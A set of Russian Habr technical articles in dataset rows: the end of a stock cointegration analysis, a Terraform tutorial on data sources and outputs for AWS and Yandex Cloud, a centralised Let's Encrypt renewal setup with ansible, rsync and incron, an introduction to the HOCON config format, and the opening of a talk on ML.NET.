| Тестовая статистика | $t_{calc} = -3,7562$, $t_{crit} = -3,3654$ | $t_{calc} = -3,5906$, $t_{crit} = -3,3654$ |
| $t$-статистика | $t_\beta = 21,9754$, $t_\alpha = 53,3845$ | $t_\beta = 21,9754$, $t_\alpha = -12,8953$ |
| $F$-статистика | 482,9196 | 482,9196 |
| Статистика Дарбина-Уотсона | 0,2548 | 0,2203 |
| Коэффициент детерминации | 0,6939 | 0,6939 |
| Скорректированный коэффициент детерминации | 0,6925 | 0,6925 |
| Информационный критерий Акаике | 1726,5 | 88,8336 |
| Баесовский информационный критерий Шварца | 1733,2 | 95,5748 |
| Информационный критерий Ханнана-Куинна | 1729,2 | 91,5574 |
Тестовая статистика как в прямой, так и в обратной регрессии говорит нам, что переменная  в данном случае незначима (). Это означает, что цена может быть слабо экзогенной, даже несмотря на то, что переменные коинтегрированы.
Для применения критерия Стьюдента и критерия Фишера необходимо, чтобы статистика имела нормальное распределение. В нашем случае, статистика имеет распределение, подобное тому, что было установлено Дики и Фуллером (о нём я тоже писала в статье [про стационарные приращения](https://habrahabr.ru/post/314330/)), поэтому расчётные значения этих статистик будут довольно большими и ничего содержательного нам не скажут.
Статистика Дарбина-Уотсона приемлемая (при положительной автокорреляции статистика стремится к нулю). В случае обратной регрессии она немного лучше, чем в случае прямой.
Коэффициент детерминации приемлемый (для приемлемых моделей предполагается, что коэффициент детерминации должен быть хотя бы не меньше 50%). Судя по этому критерию, никакой разницы между прямой и обратной регрессией нет.
Судя по информационным критериям, обратная регрессия сильно выигрывает перед прямой (считается, что наилучшей будет модель с наименьшим значением критерия).
Посмотрим на регрессионную статистику коинтегрированной регрессии для пары (NKHP, ZHIV).
| Статистика | Прямая регрессия | Обратная регрессия |
| --- | --- | --- |
| Коэффициенты | $\beta = 3,3527$ и $\alpha = 239,3471$ | $\beta = 0,2194$ и $\alpha = -49,6077$ |
| Тестовая статистика | $t_{calc} = -3,4762$, $t_{crit} = -3,3654$ | $t_{calc} = -3,3878$, $t_{crit} = -3,3654$ |
| $t$-статистика | $t_\beta = 24,3444$, $t_\alpha = 137,974$ | $t_\beta = 24,3444$, $t_\alpha = -19,8524$ |
| $F$-статистика | 592,652 | 592,652 |
| Статистика Дарбина-Уотсона | 0,2614 | 0,2104 |
| Коэффициент детерминации | 0,7356 | 0,7356 |
| Скорректированный коэффициент детерминации | 0,7344 | 0,7344 |
| Информационный критерий Акаике | 1695 | 1108,8 |
| Баесовский информационный критерий Шварца | 1701,7 | 1115,5 |
| Информационный критерий Ханнана-Куинна | 1697,7 | 1111,5 |
Тестовая статистика как в прямой, так и в обратной регрессии говорит нам, что переменная  в данном случае незначима. Статистика Дарбина-Уотсона приемлемая, в случае обратной регрессии немного лучше, чем в случае прямой. Коэффициент детерминации приемлемый, разницы между прямой и обратной регрессией не наблюдается. По информационным критериям, обратная регрессия немного выигрывает перед прямой.
Регрессионная статистика коинтегрированной регрессии для пары (VSYDP, NKHP).
| Статистика | Прямая регрессия |
| --- | --- |
| Коэффициенты | $\beta = 35,6527$ |
| Тестовая статистика | $t_{calc} = -2,8339$, $t_{crit} = -2,7761$ |
| $t$-статистика | 82,5035 |
| $F$-статистика | $\infty$ |
| Статистика Дарбина-Уотсона | 0,1305 |
| Коэффициент детерминации | 0,1928 |
| Скорректированный коэффициент детерминации | 0,1928 |
| Информационный критерий Акаике | 3823,8 |
| Баесовский информационный критерий Шварца | 3827,1 |
| Информационный критерий Ханнана-Куинна | 3825,1 |
Переменная , судя по тестовой статистике, опять незначима. Критерий Фишера улетел в космос. Статистика Дарбина-Уотсона приемлемая. Коэффициент детерминации маленький, поэтому модель считается плохой.
Выводы
------
На фондовых рынках существует достаточное количество коинтегрированных акций, то есть таких, что их спред представляет собой стационарный процесс. Наличие таких пар даёт почву для дальнейших исследований и стабильного извлечения прибыли, но о конкретных стратегиях мы поговорим в следующий раз.
Что почитать по теме?
---------------------
Роберт Ф. Энгл, К. У. Дж. Грэнджер. Коинтеграция и коррекция ошибок: представление, оценивание и тестирование // Прикладная эконометрика. — 2015. — 39 (3). — С. 107-135.
Это перевод оригинальной статьи авторов 1987 года, там более подробно изложено определение коинтеграции. Также можно продолжать читать Магнуса, которого я рекомендовала в статье [про стационарные приращения](https://habrahabr.ru/post/314330/), там тоже есть раздел про коинтеграцию.
UPD. [Аналитика по коинтегрированным парам за 2017 год на Московской бирже](https://smart-lab.ru/blog/454277.php). | https://habr.com/ru/post/332558/ | null | ru | null |
# Terraform за 15 дней (AWS/Yandex cloud). День 3: data source и outputs
### Оглавление
1. [День 1: Введение](https://habr.com/ru/post/684964/)
2. [День 2: Поднимаем сервера](https://habr.com/ru/post/685062/)
3. [День 3: Data source и outputs](https://habr.com/ru/post/685520/)
### Ссылки
*Некоторые ссылки требует VPN*
[Справочник команд CLI aws](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)
[Справочник команд CLI yc](https://cloud.yandex.ru/docs/cli/cli-ref/)
[Terraform provider aws](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)
[Terraform provider Yandex](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs)
Сегодня мы познакомимся с понятиями **data source** и **output**; посмотрим, как применяются изменения в уже существующей инфраструктуре.
### Data source
В прошлый раз для поднятия сервера нам приходилось часть параметром искать с помощью cli (или консоли), а конкретно subnet\_id и id образа ОС. Что бы не делать это каждый раз и что бы иметь актуальную информацию (например последнею версию ОС) существует **data source.** Эта сущность дает возможность получить информацию от провайдера, которая никак не связана с текущей инфраструктурой (той что описана в нашем файле)
Синтаксис у всех провайдеров одинаковый, такой же как и для ресурса:
```
data "<НАЗВАНИЕ>" "<ИМЯ>" {
<ПАРАМЕТР> = <ЗНАЧЕНИЕ>
<ДРУГОЙ_ПАРАМЕТР> = {
<ПАРАМЕТР> = <ЗНАЧЕНИЕ>
}
}
```
*Представьте что ресурс и дата это одно и тоже, но ресурс инициируем мы сами, а дата это то, что уже существует.*
#### Yandex
* [data source для образов ОС Yandex](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/data-sources/datasource_compute_image)
* [data source для подсетей Yandex](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/data-sources/datasource_vpc_subnet)
Что бы получить id для Ubuntu 22.04, необходимо указать параметр family - `ubuntu-2204-lts`; название подсети для получения ее id - `default-ru-central1-a`
*yandex/main.tf*
```
...
data "yandex_compute_image" "last_ubuntu" {
family = "ubuntu-2204-lts" # ОС (Ubuntu, 22.04 LTS)
}
data "yandex_vpc_subnet" "default_a" {
name = "default-ru-central1-a" # одна из дефолтных подсетей
}
...
```
#### aws
* [data source для образов ОС aws](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/data-sources/ami)
* [data source для подсетей aws](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/data-sources/subnet)
С aws чуть посложнее: для получения id последней версии ubuntu необходимо указать id владельца образа и его название (это мы получали через cli в прошлой части):
* owner\_id - **099720109477**
* name - **ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server**\*
Звездочка заменяет номер версии, который мы не указываем, потому что нам нужна всегда последняя версия: за это отвечает параметр `most_recent = true`
Для получения id подсети, укажем желаемую зону (пусть будет как в Яндексе - “а”)
Звездочка заменяет номер версии, который мы не указываем, потому что нам нужна всегда последняя версия: за это отвечает параметр `most_recent = true`
Для получения id подсети, укажем желаемую зону (пусть будет как в Яндексе - “а”)
*aws/main.tf*
```
...
data "aws_ami" "last_ubuntu" {
most_recent = true # только новейшая версия
owners = ["099720109477"] # id владельца образа
filter {
name = "name" # название фильтра - по какому параметру искать
values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server*"] # что искать
}
}
data "aws_subnet" "default_a" {
filter {
name = "availability-zone"
values = ["eu-north-1a"]
}
}
...
```
### Outputs и подстановка значений
Теперь необходимо использовать эти полученные данные в место хардкода. Но, помимо подстановки их в параметры ресурсов, мы выведем их в терминал с помощью **output.**
Выводы (назовем из так) используются не только для вывода информации на экран, но пока остановимся на этом. Давайте добавим в вывод id образа ОС и id подсети, так же добавим ip адрес поднятого сервера.
Что бы получить нужные значения из объектов, нужно просто обратится к ним по имени через точку.
*Важно:* *terraform читает все файлы с расширением* ***.tf*** *в директории как одно целое - можно все описывать в одном файле или в нескольких, как вам угодно (по этой же причине не важен порядок указания сущностей в самом файле).*
```
touch outputs.tf
```
#### Yandex
*yandex/outputs.tf*
```
output "default_instance_public_ip" {
value = yandex_compute_instance.default.network_interface[0].nat_ip_address
}
output "subnet_id" {
value = data.yandex_vpc_subnet.default_a.subnet_id
}
output "last_ubuntu" {
value = data.yandex_compute_image.last_ubuntu.id
}
```
*yandex/main.tf*
```
terraform {
required_providers {
yandex = {
source = "yandex-cloud/yandex"
}
}
}
provider "yandex" {
token = "..." # OAuth-токен яндекса
cloud_id = "b1gos1rh49bip4rnmrmg"
folder_id = "b1gjju43i1pr11i5c4ic"
zone = "ru-central1-a"
}
data "yandex_compute_image" "last_ubuntu" {
family = "ubuntu-2204-lts" # ОС (Ubuntu, 22.04 LTS)
}
data "yandex_vpc_subnet" "default_a" {
name = "default-ru-central1-a" # одна из дефолтных подсетей
}
# ресурс "yandex_compute_instance" т.е. сервер
# Terraform будет знаеть его по имени "yandex_compute_instance.default"
resource "yandex_compute_instance" "default" {
name = "test-instance"
platform_id = "standard-v1" # тип процессора (Intel Broadwell)
resources {
core_fraction = 5 # Гарантированная доля vCPU
cores = 2 # vCPU
memory = 1 # RAM
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.last_ubuntu.id
}
}
network_interface {
subnet_id = data.yandex_vpc_subnet.default_a.subnet_id
nat = true # автоматически установить динамический ip
}
}
```
#### aws
*aws/outputs.tf*
```
output "default_instance_public_ip" {
value = aws_instance.default.public_ip
}
output "subnet_id" {
value = data.aws_subnet.default_a.id
}
output "last_ubuntu" {
value = data.aws_ami.last_ubuntu.id
}
```
*aws/main.tf*
```
provider "aws" {
access_key = "AK..."
secret_key = "2X..."
region = "eu-north-1"
}
data "aws_ami" "last_ubuntu" {
most_recent = true
owners = ["099720109477"]
filter {
name = "name"
values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server*"]
}
}
data "aws_subnet" "default_a" {
filter {
name = "availability-zone"
values = ["eu-north-1a"]
}
}
#ресурс "aws_instance" т.е. сервер
#terraform будет знаеть его по имени "aws_instance.default"
resource "aws_instance" "default" {
ami = data.aws_ami.last_ubuntu.id # ОС (Ubuntu, 22.04 LTS)
instance_type = "t3.micro" # тип процессора и ресурс машины (CPU и RAM)
subnet_id = data.aws_subnet.default_a.id # одна из дефолтных подсетей
associate_public_ip_address = true # автоматически установить динамический ip
tags = {
Name = "test-instance"
}
}
```
### Применение и вывод данных в терминал
После `terraform apply` мы увидем примерно следующее:
```
Outputs:
# yandex
default_instance_public_ip = "51.250.95.35"
last_ubuntu = "fd8v0s6adqu3ui3rsuap"
subnet_id = "e9bdgo95ucmut6r7pioq"
# aws
default_instance_public_ip = "16.16.64.183"
last_ubuntu = "ami-0a2b8744b4fe77f92"
subnet_id = "subnet-82b67deb"
```
Если мы заглянем в вывод команды `plan` (тоже самое выводит `apply` перед применением), то увидим следующее:
```
Changes to Outputs:
# yandex
+ default_instance_public_ip = (known after apply)
+ last_ubuntu = "fd8v0s6adqu3ui3rsuap"
+ subnet_id = "e9bdgo95ucmut6r7pioq"
# aws
+ default_instance_public_ip = (known after apply)
+ last_ubuntu = "ami-0a2b8744b4fe77f92"
+ subnet_id = "subnet-82b67deb"
```
Возвращаясь к началу данной статьи: **data source** это то, что уже существует, поэтому, еще до применения, нам известны эти данные: **last\_ubuntu** и **subnet\_id;** в отличии от **default\_instance\_public\_ip,** который мы получаем от поднятого сервера, а значит узнаем мы эти данные только после `apply.`
### Изменения в инфраструктуре
До этого мы создавали сущности с нуля. Теперь попробуем изменить уже существующие. Для примера, добавим к нашим серверам параметр с ssh ключом, и посмотрим, что предлагает terraform.
Что бы не вставлять публичный ключ в файл (слишком длинный и можем измениться), лучше используем `file()` для подстановки все содержимого любого файла в строку.
#### Yandex
В Яндекс для добавления ssh ключа нужна [**metadata**](https://registry.terraform.io/providers/yandex-cloud/yandex/latest/docs/data-sources/datasource_compute_instance#metadata). Также надо указать пользователя, к которому ключ даст доступ: пользователь *ubuntu* создается по умолчанию.
*yandex/main.tf*
```
...
resource "yandex_compute_instance" "default" {
name = "test-instance"
...
metadata = {
ssh-keys = "ubuntu:${file("~/.ssh/id_rsa.pub")}"
}
}
```
#### aws
В aws все немного сложнее - [тут ключ это отдельная сущность](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html), а значит надо добавить еще один ресурс: [aws\_key\_pair](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/key_pair) и его указать в качестве значения параметра для `aws_instance`.
*aws/main.tf*
```
...
resource "aws_instance" "default" {
...
key_name = aws_key_pair.test_key.key_name
}
resource "aws_key_pair" "test_key" {
key_name = "test-key"
public_key = "${file("~/.ssh/id_rsa.pub")}"
}
```
#### Применение изменений
`terraform plan` покажет нам план действий terrafrom:
#### Yandex
Поведения яндекса немного не очевидное. Дело в том, что создав виртуальную машину без ssh ключа (то, что было у нас изначально), и добавив его потом, terraform не предлагает пересоздать машину. **~ update in-place** означает, что ресурс будет изменен без пересоздания.
```
Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols:
~ update in-place
Terraform will perform the following actions:
# yandex_compute_instance.default will be updated in-place
~ resource "yandex_compute_instance" "default" {
id = "fhm3kp62eahete5kofke"
~ metadata = {
+ "ssh-keys" = <<-EOT
...
```
Однако, после добавления ключа, подключение по нему будет недоступно. Необходимо пересоздать машину, что бы ssh не требовал пароль, а только ключ. Для этого добавим [параметр](https://www.terraform.io/cli/state/taint) `replace` в команду: `apply -replace=yandex_compute_instance.default.` Мы явно указываем, что необходимо пересоздать. Terraform это покажет - мы получим новый адрес, что видно в **Changes to Outputs.**
```
...
# yandex_compute_instance.default will be replaced, as requested
-/+ resource "yandex_compute_instance" "default" {
...
Changes to Outputs:
~ default_instance_public_ip = "51.250.95.35" -> (known after apply)
...
```
После подтверждения и пересоздания сервера, мы можем к нему подключиться по ssh.
```
yc compute instance list
+----------------------+---------------+---------------+---------+--------------+-------------+
| ID | NAME | ZONE ID | STATUS | EXTERNAL IP | INTERNAL IP |
+----------------------+---------------+---------------+---------+--------------+-------------+
| fhmpng88a49dihen141a | test-instance | ru-central1-a | RUNNING | 62.84.117.26 | 10.128.0.17 |
+----------------------+---------------+---------------+---------+--------------+-------------+
```
#### aws
В aws все работает как и ожидается - terraform сам предлагает пересоздать сервер. Также он указывает: что именно заставляет его так поступать. В данном случае это **key\_name -** # **forces replacement** значит, что именно этот параметр причина пересоздания.
```
Terraform will perform the following actions:
# aws_instance.default must be replaced
-/+ resource "aws_instance" "default" {
...
+ key_name = "test-key" # forces replacement
...
# aws_key_pair.test_key will be created
+ resource "aws_key_pair" "test_key" {
...
Changes to Outputs:
~ default_instance_public_ip = "16.16.64.183" -> (known after apply)
...
```
К сожалению, мы не можем просто подключится к новому серверу на aws - нам необходимо настроить [**security group**](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html) (сделаем это в одной из следующих статей). Но сервер работает и новый ключ создан.
```
aws ec2 describe-instances \
--region eu-north-1 \
--query "Reservations[*].Instances[*].{Instance:InstanceId,KeyName:KeyName,Address:PublicIpAddress,Name:Tags[?Key=='Name']|[0].Value}" \
--output table
----------------------------------------------------------------------------
| DescribeInstances |
+--------------+-----------------------+-----------------+-----------------+
| Address | Instance | KeyName | Name |
+--------------+-----------------------+-----------------+-----------------+
| 13.49.23.154| i-075afc37d4775ccb0 | test-key | test-instance |
+--------------+-----------------------+-----------------+-----------------+
aws ec2 describe-key-pairs \
--region eu-north-1 \
--query="KeyPairs[*].{KeyName:KeyName,CreateTime:CreateTime}" \
--output table
-------------------------------------------------
| DescribeKeyPairs |
+----------------------------+------------------+
| CreateTime | KeyName |
+----------------------------+------------------+
| 2022-08-28T11:07:42+00:00 | test-key |
+----------------------------+------------------+
```
Уничтожим все c `terraform destroy`
Заключение
----------
Data source незаменимый инструмент для построения сложной инфраструктуры. Outputs на данном этапе кажутся несколько бесполезными, но в дальнейшем мы познакомимся с другим применением данной возможности.
Любые вопросы пишите на почту [***v.valentinvolkov@gmail.com***](mailto:v.valentinvolkov@gmail.com)***.*** Буду рад помочь! | https://habr.com/ru/post/685520/ | null | ru | null |
# Централизованное обновление сертификатов Let's Encrypt
Всем привет!
В этой статье я опишу как мы решали проблему централизованного обновления сертификатов Let's Encrypt и управления инфраструктурой с помощью ansible.
В нашем решении мы будем использовать:
* ansible
* rsync, rsyncd
* inotify, incron
* certbot
* nginx
Я предложу два варианта архитектуры, при которой наше решение может быть полезным. В свою очередь вы можете в комментариях предложить свои варианты.
Вариант 1: У вас есть несколько frontend серверов с public ip (к примеру 3), обслуживающих несколько доменов. Эти домены могут добавляться/удаляться. Чтобы не следить за каждым из frontend серверов — удобнее это сделать на одном `letsencrypt server`'е:
Вариант 2: У вас есть только один сервер с public ip, а сертификаты вам нужны на серверах внутри сети:
Описание ролей ansible
----------------------
Репозиторий с ролями доступны по [ссылке](https://github.com/asteny/letsencrypt-server).
В репозитории находится 4 роли:
* nginx-simple
Устанавливает на все хосты `nginx` и копирует базовые конфиги. Сама по себе роль не запускается из playbook. Она запускается по meta зависимости из других ролей.
* letsencrypt-server
Настраивает `rsyncd` на хосте `letsencrypt server`. В meta зависимостях имеет роль `nginx-simple`. Соответственно, сначала установится `nginx`, а потом проиграется роль `letsencrypt server`.
* incron
Устанавливает необходимые пакеты для `incron` и скопирует базовый конфиг. Роль так же не запускается на прямую как и `nginx-simple`.
* front
В meta зависимостях имеет роли `incron` и `nginx-simple`. После них роль `front` копирует необходимые для example.com конфиги `nginx`, добавляет задачу в `cron` забирать новые сертификаты с `letsencrypt server` и задачу в `incron` проверять изменения файлов и выполнять хук `nginx -s reload`
Перейдем к практике:
Исходная конфигурация
---------------------
Изначально у нас имеются:
* 1 сервер для централизованного выписывания SSL сертификата (`letsencrypt server`)
* 1 или более публично доступных серверов с nginx (`front`)
На всех серверах установлена Ubuntu 16.04.
Установка и настройка nginx
---------------------------
Для начала установим на все хосты nginx из общей роли `nginx-simple` и раскидаем общие для всех хостов конфиги nginx (nginx.conf, параметры ssl, пути к сертификатам, etc).
Для letsencrypt server'а в шаблоне `.../site-available/default.conf` папка `.well_known` будет находиться в `/var/www/`:
```
{% if letsencrypt_server %}
location /.well-known {
root /var/www/;
}
```
Для сервера/серверов группы `front`, так как папка `.well_known` используется не только для получения сертификатов, но и для другого ПО, мы импортируем в конфиг `example.conf` `letsencrypt-proxy.conf` и nginx будет искать папку локально на сервере front, используя дерективу `try_file`:
```
{% if nginx_proxy_well_known %}
try_files $uri $uri/ @letsencrypt;
{% endif %}
```
Конфиги для домена заполнятся в зависимости от переменных из inventory. В репозитории это домен example.com
Так же, в зависимости от переменной `letsencrypt_server`, роль `nginx-simple` установит на letsencrypt server `certbot` и добавит cron task на обновление сертификатов.
Получение сертификата
---------------------
Так как мы решали эту задачу до появления wildcard сертификата от Let's Encrypt, мы рассмотрим оба варианта получения сертификата.
На сервере letsencrypt server выполняем:
```
certbot certonly --agree-tos -d example.ru --webroot -w /var/www/
```
Если доменов больше одного — дописываем последующие, используя ключ `-d`.
Для получения wildcard сертификата нам нужно будет добавить в DNS TXT записи. На текущий момент это единственный вариант получения такого сертификата:
```
certbot certonly --agree-tos -d example.ru -d *.example.ru --preferred-challenges dns --manual --server https://acme-v02.api.letsencrypt.org/directory
```
Certbot напишет какие TXT записи вам нужно будет добавить.
Обновление сертификатов
-----------------------
Сертификаты мы получили, осталось настроить копирование их на front сервер/сервера. Для этого мы настроим `rsyncd` на сервере letsencrypt с правами на чтение для ограниченого списка ip адресов:
```
hosts allow = {{ hosts_allow }}
hosts deny = *
list = true
use chroot = no
[cert]
path = /etc/letsencrypt/live/
uid = root
gid = root
read only = true
```
Каждые 5 минут cron task с серверов front будет проверять обновились ли сертификаты и забирать их. Т.к. сертификаты ротируются, в папке `/etc/letsencrypt/live/{{ domain }}` лежат симлинки. Добавим ключ `-L` чтобы вытаскивать оригиналы файлов:
```
/usr/bin/rsync -zavL --chmod=D0750,F640 --delete rsync://{{ hostvars['letsencrypt-server'].ansible_eth0.ipv4.address }}/cert /etc/letsencrypt/live/
```
Хук для nginx
-------------
Мы настроили nginx, получили сертификаты, забрали их на front сервер. Осталось определить, что файлы в папке `/etc/letsencrypt/live/{{ domain }}` изменились и выполнить хук `nginx -s reload`
В этом нам поможет подсистема ядра linux `inotify` и демон `incron`. Подробнее о них можно прочесть [тут](https://habrahabr.ru/post/66569/).
Роль `incron` установит нужные пакеты, а из шаблона роли `front` добавится задача на мониторинг сертификатов и нужный хук:
```
/etc/letsencrypt/live/{{ domain }}/ IN_CREATE,IN_DELETE,IN_MODIFY,IN_MOVED_TO nginx -s reload
```
В заключение
------------
Мы постарались подробно описать весь процесс установки и настройки, а т.к. все описано в плейбуках ansible — статья получилась очень компактной. Как любят часто говорить — "чуть больше 100 строчек кода". На вопросы, критику и замечания с удовольствием ответим в комментариях. | https://habr.com/ru/post/352720/ | null | ru | null |
# HOCON — конфигурируем гибко
Хранение параметров программ в текстовых конфигах — задача довольно частая и на первый взгляд тривиальная. Многие тут же хмыкнут: а в чем проблема-то? Есть куча форматов (и библиотек для работы с ними): properties, XML, JSON, YAML. В чем хочешь — в том и храни. Делов-то.
Однако масштабы вынуждают посмотреть на это иначе. В частности, после многолетней разработки игровых серверов на Java я постепенно пришел к выводу, что управление конфигами не настолько уж банально. В этой статье речь пойдет о формате HOCON — какие возможности он предоставляет и почему в последнем проекте мы стали пользоваться именно им. Если конкретнее, то мы используем [Typesafe Config](https://github.com/typesafehub/config) — opensource-библиотеку написанную на Java.
HOCON — это формат конфиг-файлов, основанный на JSON. По сравнению с JSON этот формат менее строгий и обладает дополнительными возможностями:
```
{
// Можно писать комментарии
"a" : 42 // Можно пропускать запятые в конце строки
b: hello // Можно пропускать кавычки
}
```
Однако основная ценность HOCON — это копирование значений переменных и даже целых JSON-объектов.
```
{
a: 42
b: ${a} // Присваиваем переменной b значение переменной a
c : {
m1 : 1
m2 : 2
}
d : ${c} { // Копируем в d значение из c
m3 : 3 // Добавляем в d переменную m3 = 3
}
}
```
Это, конечно, прикольно, скажет тут читатель, но зачем мне это надо? К чему городить весь этот огород вместо того, чтобы хранить свои конфиги в обычном JSON или XML? Чтобы ответить на этот резонный вопрос, поделюсь двумя примерами из нашей рабочей практики.
### Пример 1. Из жизни админов
Мы разрабатываем игровые серверы. А игровые серверы — это целый зоопарк сервисов, которые в зависимости от требований могут работать на разном наборе железа и в различных раскладках. В качестве примера приведу схему раскладки сервисов по хостам с одного из моих прошлых проектов:
И у всех этих сервисов, разумеется, надо настраивать целую кучу параметров: тут и всякие сетевые адреса, и имена баз данных, пользователи, доступы и бог знает что еще. Параметров этих приблизительно 100500.
Пусть для примера у нас есть три сервиса s1, s2, s3, у которых надо настроить IP-адрес:
```
{
s1 :
{
ip: “192.168.10.1”
}
s2 :
{
ip: “192.168.10.1”
}
s3 :
{
ip: “192.168.10.1”
}
}
```
Очень часто эти сервисы запускаются на одном и том же хосте и имеют один и тот же IP-адрес. И мы не хотим при смене IP-адреса лазить по всему конфигу и везде их менять (помним о том, что в жизни их не три, а 100500). Что же делать? Если хранить конфиг в обычном JSON, то можно было бы завести общий параметр host\_ip и написать примерно такой код:
```
ip = config.getValue(“s1.ip”);
if ( ip == null ) {
ip = config.getValue(“host_ip”);
}
```
Однако такое решение имеет существенные недостатки:
1. Разработчик сервиса может его не предусмотреть для данного конкретного случая.
2. Эта логика скрыта от администратора, который настраивает конфиги. Откуда ему знать, что если параметр s1.ip не указан, то он будет взят из параметра host\_ip? Если же параметров много и они станут часто выделывать подобные фокусы, то с администратором может случиться сердечный приступ (и его тень будет по ночам являться разработчику).
На HOCON же решение полностью прозрачно:
```
{
host_ip: “192.168.10.1”
s1 :
{
ip: ${host_ip}
}
s2 :
{
ip: ${host_ip}
}
s3 :
{
ip: ${host_ip}
}
}
```
### Пример 2. Из жизни разработчиков
При разработке задача развернуть новый сервер с нуля возникает не так уж и редко. Вывели новую ветку. Наняли нового программиста. Полетел старый жесткий диск, и надо все ставить заново. Поскольку локальный сервер — это тоже полноценный зоопарк со всеми сервисами (хоть и по одной штуке), то, конечно же, настраивать конфиг каждый раз с нуля совсем не хочется. Напрашивается вариант хранить общий конфиг в системе контроля версий вместе с кодом, а при развертке локального сервера менять в нем только IP хоста. Ну что ж, воспользуемся решением из прошлого примера:
```
{
host_ip: “192.168.10.1”
s1 :
{
ip: ${host_ip}
}
s2 :
{
ip: ${host_ip}
}
s3 :
{
ip: ${host_ip}
}
}
```
Но тут возникает загвоздка: общий конфиг-то лежит под системой контроля версий! Если я поменяю в нем host\_ip, то возникнет куча неудобств: постоянно висит дифф, надо мержить изменения, внесенные другими. Еще не дай бог случайно закоммитишь свой host\_ip в общую версию. Можно также хранить общий конфиг где-то в другом месте и подкладывать в нужное. Но как тогда туда будут попадать изменения, сделанные в версии другими разработчиками?
И тут нам на помощь приходит директива include:
```
{
host_ip: “127.0.0.1” // Пусть по умолчанию открываются локально
s1 :
{
ip: ${host_ip}
}
s2 :
{
ip: ${host_ip}
}
s3 :
{
ip: ${host_ip}
}
include “local_config.conf” // Подключаем параметры из файла local_config.conf
}
```
А дальше рядом с основным конфиг-файлом мы подкладываем файл local\_config.conf с таким содержимым:
```
{
host_ip: “192.168.10.1” // Переопределяем IP на наше значение
}
```
Файл local\_config.conf игнорируется системой контроля версий, никаких конфликтов не происходит.
### Заключение
Рассмотренные примеры использования взяты из реальной разработки. И конечно же, возможности HOCON ими не ограничиваются. Фактически HOCON — это не просто текстовый формат, а, скорее, узкоспециализированный скрипт для конфигов, который может существенно облегчить жизнь администратору и разработчикам.
Приводить более подробное описание я тут специально не стал: все прекрасно изложено в [официальном руководстве](https://github.com/typesafehub/config/blob/master/HOCON.md). Если у вас есть свои достойные внимания случаи использования этой библиотеки — делитесь ими в комментариях! | https://habr.com/ru/post/306848/ | null | ru | null |
# Машинное обучение на C#: введение в ML.NET
ML.NET претендует на звание самой мощной библиотеки для машинного обучения на платформе .NET. Так ли это на самом деле? На вопрос отвечает Джефф Просайз.
Джефф Просайз — один из создателей компании Wintellect, коллега по цеху знаменитого Джеффри Рихтера, автор более девяти книг и множества статей по разработке приложений, сейчас работает с Azure и разрабатывает различные AI-решения.
Под катом перевод и видео доклада Джеффа с конференции DotNext 2019 Moscow в оригинале.
**Далее — повествование от лица спикера.**
Я считаю, что в истории нашей отрасли каждые 10 лет происходит смена парадигмы. В 1980-е годы произошла революция персональных компьютеров, я тогда как раз закончил ВУЗ и начал работать. Эта революция изменила не только нашу отрасль, но и повседневную жизнь людей. В 1990-е годы аналогичный переворот произвел интернет. В 2000-е годы настолько же масштабные изменения были вызваны появлением смартфонов. Сейчас в ресторанах, в метро, на улице люди постоянно смотрят в экраны смартфонов. 20 лет назад было бы трудно представить, к каким переменам приведет появление этой технологии. Я считаю, что сейчас мы на пороге настолько же фундаментальной революции, на этот раз связанной с машинным обучением и искусственным интеллектом.
В Microsoft Research, Google, Facebook и много где ещё работает множество очень одаренных людей, защитивших диссертации в этой области. Они получают очень большие зарплаты и проектируют сложные нейронные сети. До того, как я стал программистом, я был инженером ракетостроения. Инженеры не занимаются высокими материями, для этого существуют физики. Физики формулируют законы и пишут уравнения, инженеры же используют эти законы и уравнения для решения проблем из реальной жизни. Точно такая же роль у программистов в мире машинного обучения и ИИ: они не создают архитектуру новых сетей, им нужно уметь пользоваться уже существующими, знать соответствующие инструменты и технологии. Именно поэтому, с моей точки зрения, так важен ML.NET.
Ещё несколько лет тому назад всем, кто работал в области машинного обучения, приходилось учить Python. Python — один из наиболее популярных языков в области ИИ, и одна из причин этого заключается в том, что люди, разрабатывающие модели ИИ в университетах и крупнейших компаниях, в свое время учились программировать на Python. Кроме того, значительная часть передовых библиотек для ИИ созданы именно для Python. Это Scikit, Keras, PyTorch и другие. Я начал активно заниматься машинным обучением где-то пять лет тому назад, и за всю свою предшествующую жизнь я написал не больше десяти строк кода на Python. Мне пришлось выучить этот язык, но при этом я постоянно испытывал дискомфорт, потому что привык к .NET. До недавнего времени на C# не было альтернатив тем библиотекам, которые есть на Python, а теперь такая альтернатива появилась. Это ML.NET, опенсорсная библиотека от Microsoft для работы с ИИ. Сегодня мы с вами рассмотрим множество примеров кода с этой библиотекой, и я дам ссылку на репозиторий GitHub c этими примерами.
Тот факт, что у нас появилась библиотека для ИИ под C#, важен по многим причинам. Теперь для работы с ИИ не нужно знать Python. На C# сложно работать с моделями, созданными с помощью библиотеки на Python вроде Scikit или Keras. Для этого есть много различных способов, один из самых распространенных — помещение модели на Python в контейнер вместе с веб-сервером Flask. Но такой подход крайне неэффективен. Для разработчиков, пишущих приложения на C#, необходима возможность использовать модели на этом языке, и такую возможность предоставляет ML.NET.
